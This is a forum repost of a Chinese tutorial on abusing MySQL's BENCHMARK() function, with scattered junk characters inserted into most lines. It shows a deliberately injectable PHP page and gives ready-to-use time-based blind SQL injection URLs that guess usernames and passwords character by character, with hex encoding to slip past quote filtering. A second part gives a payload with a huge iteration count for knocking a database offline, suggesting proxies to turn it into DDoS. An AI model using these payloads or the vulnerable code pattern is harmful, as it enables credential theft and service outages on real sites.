找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1958|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
& B7 F( O% d3 M5 ^, P' W$ K6 P9 h" ?本文作者:SuperHei5 X. r  c) Y1 [& e
文章性质:原创
- R- S. m0 C  |- m1 J* A! Q发布日期:2005-01-02
0 M/ n2 x. c: w1 v3 b. a4 x完成日期:2004-07-09 + Z& I! i# c* }% u. Z4 m! k. I
第一部, @1 L1 a/ _6 A: A

- J* ^, v% J. m8 [利用时间推延进行注射---BENCHMARK函数在注射中的利用 ( a9 Q0 p9 O9 R: ^- t0 L/ f0 H

; G# b4 Q4 ]' [6 E一.前言/思路( Q* H1 ?- F1 }, t& q0 y( g

1 |! b" r; F# B1 P  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。: z% ~, w0 ~7 w* D4 _

( h" y: O) B9 T4 k: x. }# V: D  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。* n7 ~; h0 U2 k& H
5 h# G* }1 E3 R* F: @; [
二.关于BENCHMARK函数- |) z1 O5 v6 D& g7 d1 z, {: c3 e

- O$ P" o2 a/ W# C  在MySQL参考手册里可以看到如下描叙:
! S$ s6 ]. Z. h( v8 x! I5 C0 X! P% K1 Z3 w+ G! m: o
1 \0 z, n  i5 [
--------------------------------------------------------------------------------
7 `2 ~% w& O+ t. l/ [* X( `; D" y
BENCHMARK(count,expr) % u6 r% J- a0 c# \
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 0 T' }- a! L3 L  T7 o; H
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
2 S5 O' E7 x/ _$ i7 l+----------------------------------------------+ : z" Z2 Q& Q0 v* U$ r8 p
| BENCHMARK(1000000,encode("hello","goodbye")) |
+ j7 O# q# A, S" w+----------------------------------------------+
+ A+ P1 w8 Q5 Y( _. x7 F5 p' c| 0 |
" m; E' C. ^4 z+ I) [+----------------------------------------------+ - P5 |$ U8 J, P5 P
1 row in set (4.74 sec) 3 R9 P" L: f( e& s% P1 k- C

: l% Z9 F$ y; \9 R/ Y- ?报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
, q( s2 X4 ~+ W/ r! m1 V
4 J  K2 T- }6 K. D. L! c5 z0 S2 J& a4 l0 N( p
--------------------------------------------------------------------------------
) d" K# x0 R0 ^6 {) U) h" r7 @0 E0 N$ ~: G9 H9 Y+ c
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 9 n. U. Q* ?  M* R
; G$ J  i$ I$ f0 O
mysql> select md5( 'test' ); - o% ?' Y, C* F7 E  b0 A) G1 _
+----------------------------------+
4 n6 }9 v1 }8 l" F! C4 n: ~9 o| md5( 'test' ) | * b& |! S+ y0 h$ q" m
+----------------------------------+ ; ~6 t5 f  x7 N5 ?- }0 W0 m
| 098f6bcd4621d373cade4e832627b4f6 |
* f, ?! Z. x; }; ?2 B+----------------------------------+ 2 h6 ?9 a5 C$ n% D6 X  X
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
. c7 r7 S, B5 R# V5 O$ i3 I! N! g
+ A5 G' G" d4 ^& [$ F3 r* j. o: {mysql> select benchmark( 500000, md5( 'test' ) ); ' P$ H6 |# n( s6 i
+------------------------------------+
+ J& H, v) A, P# m1 t% H% P| benchmark( 500000, md5( 'test' ) ) | & E8 @9 U( B& a7 r6 o1 T
+------------------------------------+ + q; r6 ~/ V5 H/ X5 Y2 {# A
| 0 | 4 |+ C* `9 T( `& L  r2 ?8 ?) M" |
+------------------------------------+
5 z( z/ m! e/ D/ Q" t1 row in set (6.55 sec) 〈------------执行时间为6.55 sec) I5 d$ H0 L5 K9 q( h3 N
. Z0 t2 f4 M* g
' N0 g" H1 K- Y- K9 i  d
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 7 I3 ?3 \  O% ^( ^. ^- n" @2 m
- I. J4 G  x( ?( D
三.具体例子( R9 T* T' M" ]- R# i8 k' @/ r

1 }$ e7 N2 M: B$ o: t  首先我们看个简单的php代码:; ^* W5 y  Y; ]$ k% b7 M0 C

- n" D  |( P6 v6 y( e; e2 y9 i< ?php & A1 ~9 ]* T# X, \9 R; O
$servername = "localhost";
. C+ |5 T# i1 @2 e3 x$dbusername = "root"; % w4 V& b5 t% m2 v
$dbpassword = "";
! T  Q9 J2 d* l& b2 O" x$dbname = "injection";
: Z% X. K5 n0 }  H+ y! d0 w0 |7 h! L6 o' J& t3 Z% r  y
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
' {' ?+ m+ \8 f" P, l+ d, M3 y& V1 K- A+ M! [% K8 g
$sql = "SELECT * FROM article WHERE articleid=$id"; & @7 a$ B% }0 J
$result = mysql_db_query($dbname,$sql); " F/ L. h+ J0 v: \- ^; R% ^
$row = mysql_fetch_array($result); 8 r" a6 }7 K4 |9 n1 ]

& K" U5 w9 f; s7 q+ l5 Oif (!$row)
. X! b( F+ C& @5 j% r$ p{ 2 W; O) O9 O; l! [& w% ?2 h
exit; 5 g3 x8 k& I% i( J" i4 ?
}
  G% T0 V. ?/ D1 U3 f?>
. ^, v% {9 i% O$ Y- t9 _3 K7 p, s   V, r! G- S. w/ [9 k

5 J  S5 [8 f9 R/ }2 _  数据库injection结构和内容如下:! a7 m3 c# d( M: `
$ b% B1 \: I) \+ g9 u# n
# 数据库 : `injection`
9 v; g/ }4 k0 q: ^9 k#
: n+ M0 y" o9 f; _4 d" L3 R5 w4 S: u0 m' A2 f
# -------------------------------------------------------- ; E% D# y9 _) @7 Q, `% k

1 b7 x  N# Y. @( ~% R' L' Y# ) o; _4 ]0 G' _  f. H% l! p
# 表的结构 `article`
9 j2 u$ v5 \3 u/ b  [# & l) L5 n, s4 r0 I

1 j% v7 V9 i; S  D* o$ nCREATE TABLE `article` ( 5 o  u4 s. q9 v# v" G) ~, |4 O6 B
`articleid` int(11) NOT NULL auto_increment,
% s' p6 E2 d8 Q# {$ E`title` varchar(100) NOT NULL default '', " s7 N8 N% T# \1 u# L
`content` text NOT NULL,   F7 n" Q1 @  I$ Q3 t; k
PRIMARY KEY (`articleid`)
7 p' [% w8 ~7 s  q6 `# c) TYPE=MyISAM AUTO_INCREMENT=3 ; . Q+ V* [7 S+ [( P7 h
7 c" i8 B# v( {" i
# & O6 B, Q5 t3 @# i# t: O8 B
# 导出表中的数据 `article` ' z( y  ^+ J, S, W2 d, P! t
#
  }- j: N/ a" j) C& o" s! X5 P* g) @/ I4 M; W4 D
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
/ r5 `( [1 p+ ]1 G2 ?* CINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ' P5 V! k! k" E0 d& {% V( M

3 T( H4 w1 Z# E$ Y) E) ?2 Y$ c# --------------------------------------------------------   ]5 v6 u. w5 G& s6 @7 V7 ]) ?
; D) M9 p6 h0 C; T. {' J
#
6 z" d6 q1 h" n8 @, F# ?, h, b# 表的结构 `user`
  `" A9 n; V& L1 y% o# 9 i1 P+ z- O; f& T9 F" C
, L( Q3 G# w6 D! R9 _$ a
CREATE TABLE `user` ( . }' `: G' F# L+ u% f
`userid` int(11) NOT NULL auto_increment, 4 M8 \) n& R* R; H- P, H6 F
`username` varchar(20) NOT NULL default '',
8 {( ?6 b- O1 \+ l`password` varchar(20) NOT NULL default '',
0 [  `6 h& _2 k7 mPRIMARY KEY (`userid`)
+ r$ j+ P8 Z$ \/ T) TYPE=MyISAM AUTO_INCREMENT=3 ; 6 K3 p6 S  \& d# n% o
9 ]; V" p* z4 I2 f. X, _& s
# ' J# p& U1 m* m6 y6 z
# 导出表中的数据 `user`
( c& X6 p7 L' I#
; u% g' n& l8 x# D4 r, T% x$ @+ j! @+ o% {% ?, C- Y
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
3 O: p% [0 e/ _: V1 hINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
3 ]4 }6 i7 h8 h/ X
3 E( ^2 I8 p+ |) J' N2 m& Q; }* K, ~6 X& O% Y, k( a
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:6 V+ n; g- ~/ x

: ^6 U1 ?2 H% Y7 p: ~6 t, h4 @id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*1 X/ ?: ^/ d! F

8 S1 u5 I6 o3 u; |
7 ~0 u2 M" K  S% G: l7 a& c  ]& O( z  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:* A& I1 Z$ c) {& b

: @9 v2 h* l! Q2 f8 x' ]( \5 U3 `http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*  W6 b2 `2 W& p9 w& r4 x2 b! c* G

* f! W# F" ?4 |
% o) {1 t- }1 C' t3 e  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 1 N. D- X% T. p( h, p4 d
. m$ M! \" `2 w, P% Z! ^
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
& i& G* Y# j9 v" q. X# ^2 i4 j/ O! N& X0 d- C' V' @
第二部8 P) z7 u* ]- j. |9 A' a& u- |; x6 f
! c$ t" b, {* [* H. k# p
利用BENCHMARK函数进行ddos攻击
$ V. K% m# ^& I% W+ _7 c' R) h
/ n6 J0 r* u- m3 @5 W. c  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
- j& a0 l) Q' m3 ]! v$ _
8 F4 _+ E& b. ]0 V5 X8 Q# g, phttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))# o& L" d+ \, o. m, t: f
. z- e1 W5 V: O2 O. I/ [
3 t- c. N: y7 o' X/ s, z4 z- c: N2 Q
小结' |. o7 l6 i9 g+ D+ ]
+ G5 a+ u1 h" _: m1 V. U
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。$ D5 A. W  b8 r, X/ E

. @! b0 J1 {/ [% y$ [; g8 Z  
+ e# r: ^  }! K! y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表